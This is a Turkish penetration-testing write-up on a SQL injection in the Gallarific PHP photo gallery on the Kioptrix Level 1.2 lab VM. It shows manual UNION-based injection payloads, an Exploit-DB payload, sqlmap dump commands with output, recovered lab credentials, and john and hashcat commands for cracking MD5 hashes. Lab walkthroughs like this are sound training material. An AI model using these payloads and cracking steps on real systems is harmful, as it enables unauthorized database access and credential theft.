Gallarific PHP Photo Gallery Bileşenindeki SQL Enjeksiyonu Zafiyetinin İstismarı

Web uygulamaları sızma testleri sırasında uygulama uygulamaların kullandığı bileşenler de istismar edilebilir. Bu yazıda, web hizmeti veren Kioptrix (Seviye – 1.2[#3]) sanal makinesindeki Gallarific PHP Photo Gallery üzerindeki SQL enjeksiyonu zafiyeti istismar edilerek galeri yönetim konsoluna erişim sağlanacaktır.

Yazıda kullanılan Kioptrix: Seviye – 1.2 (#3) sanal makinesi Vulnhub sitesinden indirilebilir.

https://www.vulnhub.com/entry/kioptrix-level-12-3,24/

Mevcut uygulamadaki son blog yazıları incelendiğinde “kioptrix3.com” alan adına yönlendirme yapıldığı görülmektedir. Ancak bu alan adı kullanımda olmadığı için hata alınmaktadır. Bunun yanında açılan sayfalardaki resimler arka planda “kioptrix3.com” alan adına yönlenmektedir. Bu sebeple, resimler gözükmemektedir.

 

Hatanın giderilmesi için talepte bulunulan bilgisayar üzerinde “kioptrix3.com” alan adının IP adresi Kioptrix sanal makinesinin IP adresi olarak belirtilir.

cat /etc/hosts
echo “10.10.2.179 kioptrix3.com” >> /etc/hosts
cat /etc/hosts

 

Böylece galeriye erişim sağlanabilmiştir.

http://10.10.2.179/gallery/

 

1) Gallarific Bileşenindeki SQL Enjeksiyonu Zafiyetinin Manuel İstismarı

Galeri sayfasında “Ligoat Press Room” bağlantısı ile erişilen sayfada resimlerin bellirtilen parametrelere göre sıralanabildiği görülmektedir. SQL enjeksiyonunun manuel adımlarının detayları ile kaynaklardaki DVWA yazısı incelenebilir. Aşağıdaki adımlar ile kullanıcı kimlik bilgileri sıralanabilir.

– Öncelikle SQL enjeksiyonu tespit edilir.

Talep: http://kioptrix3.com/gallery/gallery.php?id=’
Dönen Cevap: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ” order by parentid,sort,name’ at line 1Could not select category

 

– Kolon sayısı artımlı olarak denenir.

Talep: http://kioptrix3.com/gallery/gallery.php?id=1 union select 1,2,3,4,5
Dönen Cevap: The used SELECT statements have a different number of columnsCould not select category

 

– Böylece hata alınmayana dek kolon numaraları arttırılır. Hata alınmadığı durumda kolon sayısı bulunmuş demektir.

Talep: http://kioptrix3.com/gallery/gallery.php?id=1 union select 1,2,3,4,5,6–

 

– Veritabanındaki tüm tablolar listelenir.

Talep: http://kioptrix3.com/gallery/gallery.php?id=1 union select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database()–
Dönen Cevap: dev_accounts, gallarific_comments, gallarific_galleries, gallarific_photos, gallarific_settings, gallarific_stats, gallarific_users

 

– “gallarific_users” tablosunun kolon isimleri listelenir.

Talep: http://kioptrix3.com/gallery/gallery.php?id=1 union select 1,group_concat(column_name),3,4,5,6 FROM information_schema.columns WHERE table_name=’gallarific_users’–
Dönen Cevap: userid, username, password, usertype, firstname, lastname, email, datejoined, website, issuperuser, photo, joincode

 

– “gallarific_users” tablosunun “useraname” ve “password” kolonlarındaki değerler sıralanır.

Talep: http://kioptrix3.com/gallery/gallery.php?id=1 union select 1,group_concat(username,0x3a,password),3,4,5,6 From gallarific_users–
Dönen Cevap: admin:n0t7t1k4

 

– Benzer olarak “dev_accounts” tablosunun kolon isimleri listelenir.

Talep: http://kioptrix3.com/gallery/gallery.php?id=1 union select 1,group_concat(column_name),3,4,5,6 FROM information_schema.columns WHERE table_name=CHAR(100, 101, 118, 95, 97, 99, 99, 111, 117, 110, 116, 115)–
Dönen Cevap: id, username, password

 

– “dev_accounts” tablosunun “useraname” ve “password” kolonlarındaki değerler sıralanır.

Talep: http://kioptrix3.com/gallery/gallery.php?id=1 union select 1,group_concat(username,0x3a,password),3,4,5,6 From dev_accounts–
Dönen Cevap: dreg:0d3eccfb887aabd50f243b3f155c0f85, loneferret:5badcaf789d3d1d09794d8f021f40f0e

 

2) Gallarific Bileşenindeki SQL Enjeksiyonu Zafiyetinin Exploit-DB Adımları İzlenerek İstismarı

Gallarific PHP Photo Gallery ile ilgili zafiyet Exploit-db’den araştırma yapılabilir. Çevrimdışı araştırma için “files.csv” dosyası kullanılabilir.

cd /usr/share/exploitdb
ls
grep -i gallarific files.csv

 

Benzer olarak searchsploit aracı ile de zafiyetlere ait istismar kodları çevrimdışı olarak listelenebilir.

searchsploit gallarific
cat /usr/share/exploitdb/platforms/php/webapps/15891.txt

 

İstismar denendiğinde kolon sayısının uyuşmadığına dair hata alınmaktadır.

Talep: http://kioptrix3.com/gallery/gallery.php?id=null+and+1=2+union+select+1,group_concat(userid,0x3a,username,0x3a,password),3,4,5,6,7,8+from+gallarific_users–
Dönen Cevap: The used SELECT statements have a different number of columnsCould not select category

 

Kolon sayısı 8 yerine 6 olarak belirtildiğinde ise “admin” kullanıcısının parolası “n0t7t1k4” olarak tespit edilir.

http://kioptrix3.com/gallery/gallery.php?id=null+and+1=2+union+select+1,group_concat(userid,0x3a,username,0x3a,password),3,4,5,6+from+gallarific_users–

 

Benzer olarak “gallarific_users” tablosunun “userid”,”username” ve “password” kolonları yerine; “dev_accounts” tablosunun “username” ve “password” kolonları da listelenebilirdi.

http://kioptrix3.com/gallery/gallery.php?id=null+and+1=2+union+select+1,group_concat(username,0x3a,password),3,4,5,6+from+dev_accounts–

 

gallarific_users” tablosunda tespit edilen “admin” hesabı ve “n0t7t1k4” parolası ile Gallarific yönetim konsoluna erişim sağlanabilir.

http://kioptrix3.com/gallery/gadmin/index.php

 

3) Gallarific Bileşenindeki SQL Enjeksiyonu Zafiyetinin Sqlmap Aracı ile İstismarı

sqlmap” aracına “id” parametresi verilerek tüm tablolar listelenebilir.

Talep: sqlmap -u “http://kioptrix3.com/gallery/gallery.php?id=1” -p id –tables
Dönen Cevap:

Database: gallery
[7 tables] +—————————+
| dev_accounts |
| gallarific_comments |
| gallarific_galleries |
| gallarific_photos |
| gallarific_settings |
| gallarific_stats |
| gallarific_users |
+—————————+

Database: information_schema
[16 tables] +—————————+
| CHARACTER_SETS |
| COLLATIONS |
| COLUMNS |
| COLUMN_PRIVILEGES |
| KEY_COLUMN_USAGE |
| PROFILING |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| STATISTICS |
| TABLES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
+—————————+

Database: mysql
[17 tables] +—————————+
| user |
| columns_priv |
| db |
| func |
| help_category |
| help_keyword |
| help_relation |
| help_topic |
| host |
| proc |
| procs_priv |
| tables_priv |
| time_zone |
| time_zone_leap_second |
| time_zone_name |
| time_zone_transition |
| time_zone_transition_type |
+—————————+

 

gallarific_users” tablosundaki kimlik bilgileri listelenir.

Talep: sqlmap -u “http://kioptrix3.com/gallery/gallery.php?id=1” -p id -T gallarific_users –dump
Dönen Cevap:

Database: gallery
Table: gallarific_users
[1 entry] +——–+———+———+———+———-+———-+———-+———–+———-+———–+————+————-+
| userid | photo | email | website | username | lastname | joincode | usertype | password | firstname | datejoined | issuperuser |
+——–+———+———+———+———-+———-+———-+———–+———-+———–+————+————-+
| 1 | <blank> | <blank> | <blank> | admin | User | <blank> | superuser | n0t7t1k4 | Super | 1302628616 | 1 |
+——–+———+———+———+———-+———-+———-+———–+———-+———–+————+————-+

 

Benzer olarak “dev_accounts” tablosundaki kimlik bilgileri listelenir.

Talep: sqlmap -u “http://kioptrix3.com/gallery/gallery.php?id=1” -p id -T dev_accounts –dump
Dönen Cevap:

Database: gallery
Table: dev_accounts
[2 entries] +—-+————+———————————-+
| id | username | password |
+—-+————+———————————-+
| 1 | dreg | 0d3eccfb887aabd50f243b3f155c0f85 |
| 2 | loneferret | 5badcaf789d3d1d09794d8f021f40f0e |
+—-+————+———————————-+

 

Not: Elde edilen MD5 ile özetlenmiş kimlik bilgileri “john” aracı ile kırıldığında “dreg” kullanıcısının parolası “Mast3r”, “loneferret” kullanıcısının parolası ise “starwars” olarak elde edilebilir.

echo -e “0d3eccfb887aabd50f243b3f155c0f85
5badcaf789d3d1d09794d8f021f40f0e” >> /tmp/ParolaOzetleri
john /tmp/ParolaOzetleri –format=raw-md5 -w=/usr/share/wordlists/rockyou.txt

 

Benzer olarak çok daha kısa süre içerisinde “hashcat” aracı ile de MD5 parola özetleri kırılabilirdi.

hashcat -m 0 /tmp/ParolaOzetleri /usr/share/wordlists/rockyou.txt

 

Kaynaklar:

http://www.gcura.tech/kioptrix-level-1-2-3/
https://blog.g0tmi1k.com/2011/08/kioptrix-level-3/
http://www.siberportal.org/red-team/web-application-penetration-tests/dumping-database-user-credentials-by-exploiting-sql-injection-vulnerability-on-owasp-dvwa-low-security-level/

 

 

 

Yazarın Bilgileri

Ertuğrul BAŞARANOĞLU
Ertuğrul BAŞARANOĞLU

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

Kullanabileceğiniz HTLM etiketleri ve özellikleri: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code class="" title="" data-url=""> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong> <pre class="" title="" data-url=""> <span class="" title="" data-url="">

Bu sayfada incelenen konulardan doğacak sorunlar kişinin kendi sorumluluğundadır.